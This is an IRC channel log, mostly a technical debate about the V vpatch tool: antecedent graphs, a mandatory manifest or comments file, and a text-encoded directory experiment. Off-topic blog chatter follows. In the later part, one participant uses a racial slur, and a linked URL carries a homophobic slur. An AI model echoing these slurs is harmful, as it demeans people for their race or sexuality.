1791461;1522448546;a111;Logged on 2018-03-30 22:09 mod6: was thinking, that if we changed up the parameterization of v, could maybe resolve the multiple leaves thing.  imagine  http://www.mod6.net/sps2_dag.png without the 'j.vpathch', if one wanted to press both trees, maybe could tell v to : `./v.pl p v outputdir i.vpatch d.vpatch`
1791462;1522448558;trinque;then perhaps I'm wrong. I'm trying to present a problem to you by way of examples and it's not taking.
1791463;1522448584;mod6;asciilifeform: ah, i figured we had probably been here before.  cheers.
1791464;1522448590;*;asciilifeform eats log, puzzles over $problem
1791465;1522448620;trinque;phf: there are cases where two separate edits to separate files are both needed as antecedents to yet a 3rd patch, which edits possibly neither of them.
1791466;1522448628;phf;trinque: i'm describing how things are right now, how things were, and what informs my and mod6 opinions on the subject. uncertainty about past behaviors in my opinion tends to influence uncertainty about future solutions
1791467;1522448632;asciilifeform;i was somehow quite certain that trinque had a pseudocode-algo for his improved vtron
1791468;1522448633;mod6;oh, and it just dawned on me how it would be np-hard to walk it backwards.
1791469;1522448637;mod6;derp
1791470;1522448646;mod6;too many paths
1791471;1522448647;phf;mod6: there's that too :)
1791472;1522448667;trinque;so what of that situation?
1791473;1522448700;trinque;aside the two above, what's been done in trb is to include 1 and 2 in patch 3; the bulk of the patch is lifted into the thing
1791474;1522448705;trinque;now 4 comes along and it edits nothing in 3
1791475;1522448712;trinque;so 4 accretes 3
1791476;1522448720;trinque;this can continue boundlessly
1791477;1522448776;phf;like i said, i understand the problem, i'm not sure of the solution, because ~i~ have not attempted to tackle it. for example i suspect that the manifest might be problem specific, i.e. what you put there is informed by the shape of the tree you're trying to create.
1791478;1522448783;trinque;I don't have a pet proposal to solve it, but it's definitely never getting solved without more eyes on that the problem exists
1791479;1522448800;trinque;k, I understand.
1791480;1522448813;asciilifeform;iirc mircea_popescu proposed once an algo where , for a patch to count as a Troo Patch, it must modify a chronicle.txt (along these lines)
1791481;1522448833;mircea_popescu;was trinque's proposal, i just formalized it.
1791482;1522448836;asciilifeform;aa
1791483;1522448920;mod6;ok, so that would solve some of the 'hairyness'.  a True Vpatch ~MUST~ edit chronicle.txt.
1791484;1522448971;mircea_popescu;the trinque original (which im too lazy to dig out atm) was "concatenate your whole codebase, hash it, add the resut on a new line of manifest.txt" pretty much.
1791485;1522448990;asciilifeform;original v left chronicling as a per-project convention, to the pleasure of the project operator, rather than part of vtron
1791486;1522448999;mircea_popescu;i expanded on that to allow comments in the manifest, in the spirit of literate (
1791487;1522449034;trinque;asciilifeform: sure, and it's nice that this ends up there in plaintext to be read, rather than blobs in a git black box
1791488;1522449042;phf;ultimately it doesn't matter what's inside manifest, as long as its hash is unique, e.g. it's append only log that requires >1 byte of change in each vpatch
1791489;1522449044;asciilifeform;ah yes iirc trinque proposed to remove the illusion created by classical gnupatch , that of file-independence
1791490;1522449113;asciilifeform;'hash everything' is tricky tho : do you also hash the manifest ?? (presumably up to the exact point where new hash gets inserted ?? )
1791491;1522449168;mod6;more generally: is a manifest part of a code-base
1791492;1522449169;mod6;?
1791493;1522449188;asciilifeform;i will also add, classic vpatches were verifiable with simple gnu tools 'by hand', and even creatable 'by hand' similarly. complex hash mechanism, not so much, and imho this is a downer
1791494;1522449375;mircea_popescu;asciilifeform note that this hash is not opposable to anything. you can hash the system time for all the difference it makes.
1791495;1522449377;phf;i suspect something like ebuild situation requires a non-trivial vpatch management: each port is its own genesis tree and portage system keeps track of head's. this way extending port's tree allows ongoing development, but trinque's role is to update portage's pointers periodically. this way a press from head must ignore lateral leaves, etc.
1791496;1522449381;mircea_popescu;just grows the file.
1791497;1522449400;trinque;yeah, the hash idea was bunk.
1791498;1522449469;mircea_popescu;trinque seems the logical place this is going is "make comments file addition mandatory for each patch"
1791499;1522449494;mircea_popescu;ie, "your patch must do two things to count : build off a valid tree state ; and explain itself in plaintext in the comments file for the project"
1791500;1522449513;mircea_popescu;mod6 yes, absolutely.
1791501;1522449726;trinque;http://p.bvulpes.com/pastes/8d93M/?raw=true << here's another HISTORY file, incomplete, that I've been putting together.
1791502;1522449737;trinque;using it as an exercise to sign all the patches I haven't, too.
1791503;1522449782;phf;if we're trying to nail down antecedents, why not put parent hash into vpatch prelude. i.e. "this vpatch can only happen after a vpatch with the given hash has been applied"
1791504;1522450058;phf;e.g. the patch itself starts with mandatory parent: <hash>/false. this though completely eliminates the complicated graph transition machinery. all patches are hashed blobs, that you can point to by its hash
1791505;1522450266;phf;hmm, manifest's hash though solves the same problem, we're essentially driving the graph by manifest hash chain, and the other files in patch are for additional culling
1791506;1522450290;mircea_popescu;http://logs.bvulpes.com/trilema?d=2018-3-30#322858 << only in the sense of "original v promised the letter a will only be used 8805 times in code, because that;s how many times it happened to use it and i choose to take this strange view"
1791507;1522450290;mimisbrunnr;Logged on 2018-03-30 22:13 phf: trinque: there's no "returning to", original behavior is "press everything that falls from under this head"
1791508;1522450457;mircea_popescu;but in the general approach to the problem, 1. all specification will sort items into "always" "sometimes : as per conditions" "never" and  categories ; and 2. all refinement of specification will move items, but ONLY from the left to the right and not the other way around.
1791509;1522450483;mircea_popescu;so, the fact that an always is becoming a sometimes isn't a point of concern in the hard sense of http://logs.bvulpes.com/trilema?d=2018-3-30#322868 (which is otherwise broadly correct)
1791510;1522450483;mimisbrunnr;Logged on 2018-03-30 22:15 phf: trinque: i'm describing how things are right now, how things were, and what informs my and mod6 opinions on the subject. uncertainty about past behaviors in my opinion tends to influence uncertainty about future solutions
1791511;1522451063;mircea_popescu;anyway, the seemingly correct solution is for convention to be changed, so that 1. genesis author creates a comments.txt file or else it's not a proper genesis ; 2. all subsequent patches MUST include an edit to the comments.txt file of the codebase they are pressed upon, which 3. must consist of adding one line at the end consisting of whatever text the patch author deems useful to add and may not be null and 4. should ideal
1791512;1522451063;mircea_popescu;ly not modify previous lines, but this is to be enforced by public arbiter, ie, sometimes it will make sense to.
1791513;1522451077;mircea_popescu;with this mechanism no actual changes to v need to be made, it's a "soft fork" as it were.
1791514;1522451100;phf;mircea_popescu: i don't agree that the "in the sense" is correct. trb patchset relied on pressing the lateral trees behavior up until recent nailing down of graph, which was a result of elaboration from clearer understanding. i think the understanding of v has evolved, and things of which there was much uncertainty and hand waving in the past are now much more obvious. i don't think it's the case that "the behavior was always that way" in an accidental
1791515;1522451100;phf; sense.
1791516;1522451136;mircea_popescu;phf how do you propose we could decide this ?
1791517;1522451195;mircea_popescu;there's no dispute that understanding of v has evolved ; but i don't happen to see the uncertainity.
1791518;1522451438;phf;well, cutting "makefiles" from trb and going up the graph demonstrates many places where full press wouldn't happen with current behavior, but will still happen with the "buggy" one. so either there was a shared understanding that has changed, or else people who claim that that was shared understanding haven't looked at the trb tree at the time to observe the buggy behavior themselves.
1791519;1522451519;mircea_popescu;or possibly everyone regarded trb as a messy pile which isn't properly v-ified even today. like mpi, or like gentoo
1791520;1522451546;mircea_popescu;in fact, the only legacy pantsuit item almost-v-ified would be wp, and that's STILL not done in spite of being two degrees of magnitude simpler, because of all sorts of "holy shit, svg"
1791521;1522451571;mircea_popescu;otherwise, all v versions of anything were in fact rewrites.
1791522;1522451604;mircea_popescu;for that matter, pre-solution to binary issue, even fg tree was sad.
1791523;1522451635;mircea_popescu;can you turn around and say, "fg tree shows people didn't at the time understand v isn't married to the underlying format" or something ?
1791524;1522451805;mircea_popescu;rather, there's a shared understanding that's applied by degrees. because the sty is so dirty you have to peel layers off, as the only possible approach.
1791525;1522451884;asciilifeform;phf: can you give a concrete press head for current-trb that will barf if the lateral-walk is removed ?
1791526;1522451920;asciilifeform;because i know of none
1791527;1522451938;mircea_popescu;asciilifeform hewants to remove makefiles first.
1791528;1522451979;phf;asciilifeform: i didn't say barf, but if you were to remove, say, makefiles, press to malleus_mikehearnificarum, you lose mod6_der_high_low_s
1791529;1522452122;asciilifeform;aa
1791530;1522452183;phf;asciilifeform: come to think of it, initially you were talking about using own wot to cull things, which makes no sense if you only have one tree.
1791531;1522452190;asciilifeform;when i was actively trbing, i handled 'want p1 + p2 + ... p_n ' by hand-copy and producing p_n+1
1791532;1522452197;asciilifeform;phf: correct
1791533;1522452232;asciilifeform;phf: which is why i wrote the classical vtron the way i did -- wanted max flexibility of form. and yes this has cost.
1791534;1522452254;asciilifeform;can make it narrower. but then you lose the multiverse aspect, aha.
1791535;1522452303;asciilifeform;i no longer try to actively persuade folx 'it oughta be Like So!' , at this point it is up to phf , mircea_popescu , diana_coman , et al, folx who very actively work on multi-author projects , to determine a Troo Vtron
1791536;1522452339;mircea_popescu;the original "many keys" solution to that proved untenable.
1791537;1522452350;asciilifeform;not sure that anybody got around to trying it
1791538;1522452359;mircea_popescu;this imo is loud proof.
1791539;1522452391;asciilifeform;just cuz the lorica is too heavy does not prove 'armour is Wrong Thing' , lol
1791540;1522452420;mircea_popescu;it does, yes. the old french word for it is agincourt.
1791541;1522452466;asciilifeform;by same logic 'v is a bother and let's all shithub', conceivably, neh ?
1791542;1522452471;mircea_popescu;neh.
1791543;1522452490;phf;asciilifeform: it very briefly worked with polarbeard's patches, but that was around active reground time, so the result wasn't particularly interesting. but you could press to experimental head with or without pb's additions, based on whether or not he was in your wot
1791544;1522452540;asciilifeform;phf: in this sense -- correct, it was never automagically 'omit 1 d00d's key and still get otherwise wholly-valid set of same presses as before'
1791545;1522452543;phf;problem that you run into is really granularity of files (of which we also had thread), and that perhaps having multi-file multi-anticedent vpatches is not the correct thing in genera
1791546;1522452561;phf;l
1791547;1522452572;phf;which we also had thread about
1791548;1522452578;asciilifeform;problem is that most meaningful transforms are ~not~ attainable automatically, and the otherwise spiffy vtronics create unwarranted expectation of automatism
1791549;1522452593;asciilifeform;heathens do not have this headache in their pigstys
1791550;1522452598;phf;right, hence the conversations about sexp v
1791551;1522452603;asciilifeform;(because they have properly low expectations)
1791552;1522452617;mircea_popescu;this is actually very much the problem, huh.
1791553;1522452743;phf;with manifest we're basically saying "there's going to be one file, which is going to establish the one true chain, and all these other files are just hanging by the side"
1791554;1522452806;phf;problem can also be solved with having entire project in one file, or trinque's approach os tracking hash chains for the entire directory (i.e. treating the whole press as a single file)
1791555;1522452815;phf;*of tracking
1791556;1522452875;mircea_popescu;except first is practical nonsense, and second presumes thingd about directories, which is untenable.
1791557;1522452883;mod6;one file, != fits in head
1791558;1522452889;mod6;vpatches were meant to be digestable.
1791559;1522452890;*;asciilifeform ftr biased in favour of pills that leave the orig vtron simple ( while potentially introducing a separate tool for testing conformance to chronology )
1791560;1522452900;asciilifeform;^
1791561;1522452908;mircea_popescu;asciilifeform conformance is not mechanically tested.
1791562;1522452935;asciilifeform;i did not say wholly automatic . simply 'tool' .
1791563;1522452940;asciilifeform;could reduce even to naked eye.
1791564;1522452942;mircea_popescu;a yes.
1791565;1522452953;phf;mod6: wait, what? from the way vpatch looks perspective there's literally no difference. you have one diff a/x b/x instead of many, but otherwise the thing looks identical.
1791566;1522452958;asciilifeform;the way classical v can be , in times of need , reduced to naked eye.
1791567;1522452994;asciilifeform;phf: how would this look , so that mass of patches stays similar to classical ?
1791568;1522453006;mircea_popescu;phf i don't get it, why would we adapt the way we do things to what'd be convenient for the machines ?
1791569;1522453035;mod6; <+phf> problem can also be solved with having entire project in one file, << to me, was trying to picture trb one giant vpatch, over and over, may have misunderstood
1791570;1522453044;phf;no no
1791571;1522453114;phf;yo, it's not a real solution, the only reason i was thinking about is because that's how knuth's literate programming is done. i mean the entirety of code is one file, you use project specific tooling to extract it.
1791572;1522453136;mircea_popescu;yeah but i suspect that's a large part of why it went nowhere.
1791573;1522453137;mod6;OH. i see what you're saying.  so in stead of a & b per file, you're saying a & b for ~entire~ vpatch
1791574;1522453145;asciilifeform;phf: i actually tried this, into a drawer, but gave up -- ugly and inbandistic
1791575;1522453171;mod6;or am i still missing this?
1791576;1522453172;phf;i.e. trb.vpatch -> trb.web -> foo.c, bar.c, qux.c
1791577;1522453203;asciilifeform;( observe, we are -- for foreseeable future -- stuck in unix world, where files exist, and at the very least Makefile, .ads, .adb, etc are forced to occupy separate ones )
1791578;1522453217;phf;this is so trivial, and also inconsequential that i apologize for burning s/r on it
1791579;1522453222;mircea_popescu;ty.
1791580;1522453295;phf;mod6: think plaintext tar archive that you stick inside a vpatch. there's only ever ~one file~ in your tree. for simplicity it's one large trb.cpp that compiles to the result. no other dependencies.
1791581;1522453343;asciilifeform;iirc i suggested this explicitly at one point, http://btcbase.org/log/2017-12-14#1751755
1791582;1522453343;a111;Logged on 2017-12-14 21:34 asciilifeform: whereas if you want to be able to compactly represent ~arbitrary transforms of text and of dirs, you end up with something like sed on top of a... text representation of a tar ?
1791583;1522453346;mod6;phf: oh
1791584;1522453366;asciilifeform;but result was 'ugly inbandism', though it may be possible to do it without magic-symbols
1791585;1522453430;mod6;it would also get nasty each time you remove or add a file in here.
1791586;1522453449;mod6;anyway, ok moving on..
1791587;1522453459;asciilifeform;mod6: not really, no. it becomes just another text transform. ditto renames and redirs.
1791588;1522453508;mod6;alright, i'll have to take your word for it ; im imagining some huge diffs.
1791589;1522453522;mod6;Eitherway, I've become to like how we have it now.
1791590;1522453553;mod6;Maybe I'm a bit biased. heheh.  there are still problems to tackle tho - and it's difficult to do so without adding further complexity.
1791591;1522453665;asciilifeform;if the 'must artifically touch files to maintain clean-looking flow tree' is to be considered a problem ( and i do see this pov ) then 'only 1 file ever gets diffed, and it contains metacommands to create actually separate unix files out of its sections' is in fact 1 possible solution. and creates the 'every hash stands for whole project's state' thing.
1791592;1522453711;mircea_popescu;phf see, it never stops. it's not something one can turn off at will, sadly.\
1791593;1522453925;phf;well, i'm now convinced that manifest is an elegant, minimally invasive solution. i'll try it in a regrind.
1791594;1522453926;*;phf bb
1791595;1522453963;mod6;cool, an example of this that we can use to examine would be hugely helpful.
1791596;1522456455;mircea_popescu;ah check it out, trilema has the header with the head errant today.
1791597;1522456508;hanbot;i think that's a head rampant.
1791598;1522456683;mircea_popescu;rompant lol
1791599;1522460995;asciilifeform;oook so asciilifeform dug out his old experiment, in case anyone can win from it :
1791600;1522461000;asciilifeform;ACHTUNG, PANZERS! : http://therealbitcoin.org/ml/btc-dev/2018-March/000293.html
1791601;1522461033;asciilifeform;^ and yes i classically-v-genesised it, given as there is not yet a new-v
1791602;1522461063;asciilifeform;and yes there is a typo in readme, 't.xtal' should be 'test.xtal' .
1791603;1522461077;asciilifeform;everything else is self-explanatory.
1791604;1522461090;asciilifeform;mircea_popescu, phf , mod6 , trinque , et al ^^
1791605;1522461177;asciilifeform;to see how this applies to $thread, take this , and then try gnudiffing the 'crystals' , then rename files, or move'em between dirs, and diff the resulting 'crystals' again, observe how only the 1 line that defined that 1 file's path, ends up changing
1791606;1522461201;mod6;hey neat, i'll give this a closer look here tonight.
1791607;1522461221;asciilifeform;don't burn too much time on this item, mod6 , it is strictly for vtronology.
1791608;1522461222;mod6;thanks for the post asciilifeform
1791609;1522461245;asciilifeform;all it does is the 'human readable tarball' trick.
1791610;1522461253;asciilifeform;both to- and from- directions.
1791611;1522461354;asciilifeform;quite possibly only trinque will find this tool interesting : it implements , i think, his favoured variant .
1791612;1522461370;asciilifeform;( or rather, just the whole-program representation therein -- it is not a vtron )
1791613;1522461386;asciilifeform;anyways i've cluttered the l0gz enuff, that's all there is to this item currently.
1791614;1522461664;asciilifeform;prolly i oughta preemptively answer the q of 'where are the hashes'. answ: hashing belongs in vtron, and would be of entire shebang produced by ^above .
1791615;1522462082;*;asciilifeform back to wurk, bbl
1791616;1522462147;asciilifeform;btw, ftr : ffa comes back from sabbatical next wk !
1791617;1522462384;mod6;hey hey hey, lbj
1791618;1522471491;mod6;asciilifeform: seems to do what is printed on the box (at least from a `txt2dir.py` point of view): http://p.bvulpes.com/pastes/cVAQy/?raw=true
1791619;1522471707;mod6;oh btw, the fg-genesis.vpatch and corresponding sig are not available via the archive.is link (originating from loper-os.org) ; You may want to post these some where accessable.  I can throw them onto mod6.net if you like.
1791620;1522471746;mod6;Or, w/e, s.nsa site should be coming back shortly anyway.
1791621;1522508808;mircea_popescu;ben_vulpes yer site's 502 for the past half hour or so.
1791622;1522508827;mircea_popescu;http://btcbase.org/log/2018-03-21#1788411 << so in the end, this thread wasn't ever found was it ?
1791623;1522508827;a111;Logged on 2018-03-21 14:58 a111: Logged on 2016-02-21 02:14 mircea_popescu: (and for the record i will point out that tlp is anglotard enough to miss most of the substance. there's perfecty good reason everyone painted the same god damned vase with two apples next to it, and this has little do to with "you're not boring son ok" and a lot of fucking things to do with ... damn, where's that thread about ther ancient battlefield ?
1791624;1522509414;mircea_popescu;god damned it was actually on trilema, not on trilema, which is why logsearch didn't turn it up. here, for all time : http://trilema.com/2014/a-conceit-or-the-importance-of-blogging/#selection-67.0-73.452
1791625;1522513373;asciilifeform;http://btcbase.org/log/2018-03-31#1791619 << they were mirrored from almost first hour of release at phf's http://btcbase.org/patches?patchset=fg
1791626;1522513373;a111;Logged on 2018-03-31 04:48 mod6: oh btw, the fg-genesis.vpatch and corresponding sig are not available via the archive.is link (originating from loper-os.org) ; You may want to post these some where accessable.  I can throw them onto mod6.net if you like.
1791627;1522513397;asciilifeform;but moar mirrors never hurts.
1791628;1522513415;asciilifeform;( plus also in hardcopy included with every fg crate. )
1791629;1522513430;deedbot;http://trilema.com/2018/heres-what-changed/ << Trilema - Here's what changed
1791630;1522513606;mod6;lol derp, this for some reason didn't occur to me lastnight.  aight nevermind.
1791631;1522514073;mircea_popescu;and in other http://btcbase.org/log/2018-03-30#1791231 lulz, trilema archives deliver http://trilema.com/2014/parody-is-not-there-for-you-cancerous-fags-to-try-and-hide-your-cancer-behind-it/#footnote_3_55572
1791632;1522514073;a111;Logged on 2018-03-30 05:21 douchebag: mircea_popescu: I have a girl but she is wondering if she's allowed to wear sunglasses
1791633;1522514155;mircea_popescu;also 2018 is the year trilema actually took over my leisure reading needs. by now it's so old i've forgotten a large enough proportion of it the odds of hitting an interesting article loading my own blog actually exceed the odds of hitting something interesting by picking up a torrent, or opening the internets.
1791634;1522514180;*;asciilifeform recalls approximately when this ^ had happened to uncle al
1791635;1522514186;mircea_popescu;when ?
1791636;1522514199;asciilifeform;some time around beginning of bush-I reign
1791637;1522514205;mircea_popescu;did it show ?
1791638;1522514209;asciilifeform;it did!
1791639;1522514215;mircea_popescu;how ?
1791640;1522514241;asciilifeform;started appending old essays to usenet posts
1791641;1522514260;mircea_popescu;heh
1791642;1522514271;asciilifeform;err, bush-II
1791643;1522514296;mircea_popescu;did the whole thing become uninteresting, tritely self-referrential ?
1791644;1522514321;asciilifeform;imho not. d00d 'quit while ahead'
1791645;1522514342;mircea_popescu;i ain't fucking quitting.
1791646;1522514369;asciilifeform;~nobody ever does
1791647;1522514431;mircea_popescu;i would really like a list of "all personal blogs older than a decade" right about now.
1791648;1522514446;mircea_popescu;but, of course, "you can find anything on the internet -- if you put it there yourself."
1791649;1522514541;mircea_popescu;https://www.publiustx.net/ << "PubliusTX.net is Houston's longest running personal journal/weblog on politics and culture."
1791650;1522514550;mircea_popescu;all fine and good, except the penultimate article is "Happy (belated) 2018! Posted by Kevin on January 6, 2018 So, I kind of missed my annual/placeholder Happy New Year post this time around…"
1791651;1522514555;mircea_popescu;this is not a fucking blog.
1791652;1522514725;asciilifeform;mircea_popescu: ilkka kokkarinen's ~first~ blog, is ~almost~ old enuff: http://btcbase.org/log/2017-12-17#1752572 ; and imho notbad
1791653;1522514725;a111;Logged on 2017-12-17 03:56 asciilifeform: from same thread, http://www.loper-os.org/pub/ilkka.zip  << still there, still afaik only copy of his 1st blog in existence on public net
1791654;1522514763;mircea_popescu;asciilifeform "first blog" is autodisqualified. what's this, like "hot girl's first body" ? what are we, snakes ?
1791655;1522514773;mircea_popescu;"bitcoin scammer's first identity" next.
1791656;1522514788;asciilifeform;it was pantsuit-bulldozed
1791657;1522514797;asciilifeform;but if looking for continuous ones -- i've nuffin
1791658;1522514799;mircea_popescu;did he die ?
1791659;1522514807;mircea_popescu;in the buldozing i mean
1791660;1522514851;asciilifeform;he was defrocked from his professorship iirc; then sued, won, opened new blog, then some time in 2012 it happened again, but after this vanished. ( see thread )
1791661;1522514854;asciilifeform;!#s ilkka
1791662;1522514855;a111;48 results for "ilkka", http://btcbase.org/log-search?q=ilkka
1791663;1522514856;mircea_popescu;(anyway, remind me of the ocarine dood once i signal i'm done reading mazepath. which may take the year or something)
1791664;1522514872;asciilifeform;aite.
1791665;1522514873;mircea_popescu;asciilifeform so how does this check out ? he had no copies of the old one or what.
1791666;1522514925;asciilifeform;some folx have a strange attitude to own writing. i can even better understand the folx who burn their symphonies; but the indifferent -- i have nfi what broke in their heads.
1791667;1522514949;mircea_popescu;so if he doesn't care, why would i ?
1791668;1522514982;asciilifeform;no particular reason. but d00d figures prominently in asciilifeform's cabinet of curios -- 'old, sane, technically literate bl0gz'
1791669;1522514992;asciilifeform;there aint many to choose from.
1791670;1522515019;mircea_popescu;seems to me a modicum of self respect is nevertheless an absolute requisite for even showing face in a public forum.
1791671;1522515062;mircea_popescu;"maybe i don't have much to say ; and maybe what i have to say isn't even that interesting ; but at least i give it my best shot, and i am aware there's nothing else that's me."
1791672;1522515085;mircea_popescu;whereas i find VEHEHERY objectionable the usual "oh, what kangaroo court said is what i ~really~ am, that defines me". and so following.
1791673;1522515096;asciilifeform;d00d had a healthy audacity and wrote under his own name etc. but then in the end burned everyffin.
1791674;1522515112;asciilifeform;( never even said , the last time, the reason why. )
1791675;1522515115;mircea_popescu;nevermind the "my lawyer advised me not to comment on the pending case" ; rather instead "sorry your honor, that won't look good on my blog"
1791676;1522515118;mircea_popescu;first things first.
1791677;1522515263;mircea_popescu;in vaguely related news, " <p>Personally, I love personal blogs. I&#8217;m a sucker for HuffingtonPost, xoJane, and all those other sites with tons of juicy and interesting content.</p>" sez idiot giving advice on how to be blogful ; his page has js-disabled copy-pasting. which evidently works.
1791678;1522515274;asciilifeform;at any rate asciilifeform is not his literary agent. moar of grave robber. nobody gotta look in the sarcophagus if they dun want.
1791679;1522515327;mircea_popescu;asciilifeform yeah, i'm not objecting to the thing itself, just mostly thinking out loud.
1791680;1522515440;mircea_popescu;(for the young reader : xojane was some bullshit wanna-be "platform" for imaginary "cimmunities" that got bought by the suckers (time warner) in 2015 and frozen in 2016. because myspace wasn';t enough or something. and huffington post, well, need i even point out, it was exactly the same thing, ran by a nigger somewhat more dextrous still. adriana made out ok from the swindle.)
1791681;1522515476;mircea_popescu;let's preserve, actually : https://www.xojane.com/beauty/news/best-xovain-articles
1791682;1522515505;mircea_popescu;"Four years ago this month, I found out that Jane Pratt — the editor that had made me want to be an editor since I was 12 years old — had chosen me to be the beauty director of her new xoJane beauty spinoff, xoVain. OK, so I was actually her second choice — her first had fallen through — but that was OK. I had previously not even pitched to xoJane because I was so intimidated and sure I'd be rejected, so getting hired
1791683;1522515505;mircea_popescu; for a full-time editorial position in any capacity under Jane Pratt, with or without someone else's name crossed off next to mine, felt like an honor."
1791684;1522515535;mircea_popescu;"marci" totally watched too much that-lesbian-interest-flick-with-the-older-woman-and-shoes, w/e it was called.
1791685;1522516830;ben_vulpes;mircea_popescu: thx
1791686;1522517337;ben_vulpes;pff nuffin in logs
1791687;1522517460;phf;trinque: have you seen https://masteringpostgresql.com? it's by dimitri fontaine, who's a major postgresql contrib, but he also wrote pgloader, a proggy for etl into postgresql, which he wrote in common lisp; you get mentions of clos and naggum and such in his book.
1791688;1522517681;phf;i saw it on a colleagues table, started reading it, and it looks sensible and educational. first time i borrow a book from a coworker :o
1791689;1522517852;phf;ben_vulpes: mimisbrunnr perhaps needs a list of fellow bots, so that it ignores links from bot quotes. i remember we had conversations about how to handle it long time ago, but i don't remember what the resolution was. a111 maintains a list of all bots, which is just manually updated
1791690;1522518587;mircea_popescu;phf the idea was that the behaviour is fine as it is.
1791691;1522518627;mircea_popescu;http://logs.bvulpes.com/trilema?d=2018-3-31#323153
1791692;1522518627;mimisbrunnr;Logged on 2018-03-31 16:26 mircea_popescu: and in other http://btcbase.org/log/2018-03-30#1791231 lulz, trilema archives deliver http://trilema.com/2014/parody-is-not-there-for-you-cancerous-fags-to-try-and-hide-your-cancer-behind-it/#footnote_3_55572
1791693;1522518638;mircea_popescu;oh, i guess not. a111 dun read its own lines sometimes does it ?
1791694;1522518664;phf;mircea_popescu: a111 doesn't read anything from bots, i can disable it but that will obviously create a mutually recursive loop of flood
1791695;1522518693;phf;http://btcbase.org/log/2018-03-31#1791691
1791696;1522518693;a111;Logged on 2018-03-31 17:50 mircea_popescu: http://logs.bvulpes.com/trilema?d=2018-3-31#323153
1791697;1522518694;mimisbrunnr;Logged on 2018-03-31 16:26 mircea_popescu: and in other http://btcbase.org/log/2018-03-30#1791231 lulz, trilema archives deliver http://trilema.com/2014/parody-is-not-there-for-you-cancerous-fags-to-try-and-hide-your-cancer-behind-it/#footnote_3_55572
1791698;1522518727;mircea_popescu;phf kinda what that ended up with, "let's see how deep it can possibly get"
1791699;1522518838;phf;ah interesting
1791700;1522521403;BingoBoingo;!!up Nicole__
1791701;1522521404;deedbot;Nicole__ voiced for 30 minutes.
1791702;1522532944;deedbot;http://qntra.net/2018/03/bearish-news-for-the-dollar-as-renmibi-moves-into-oil-markets/ << Qntra - Bearish News For The Dollar As Renmibi Moves Into Oil Markets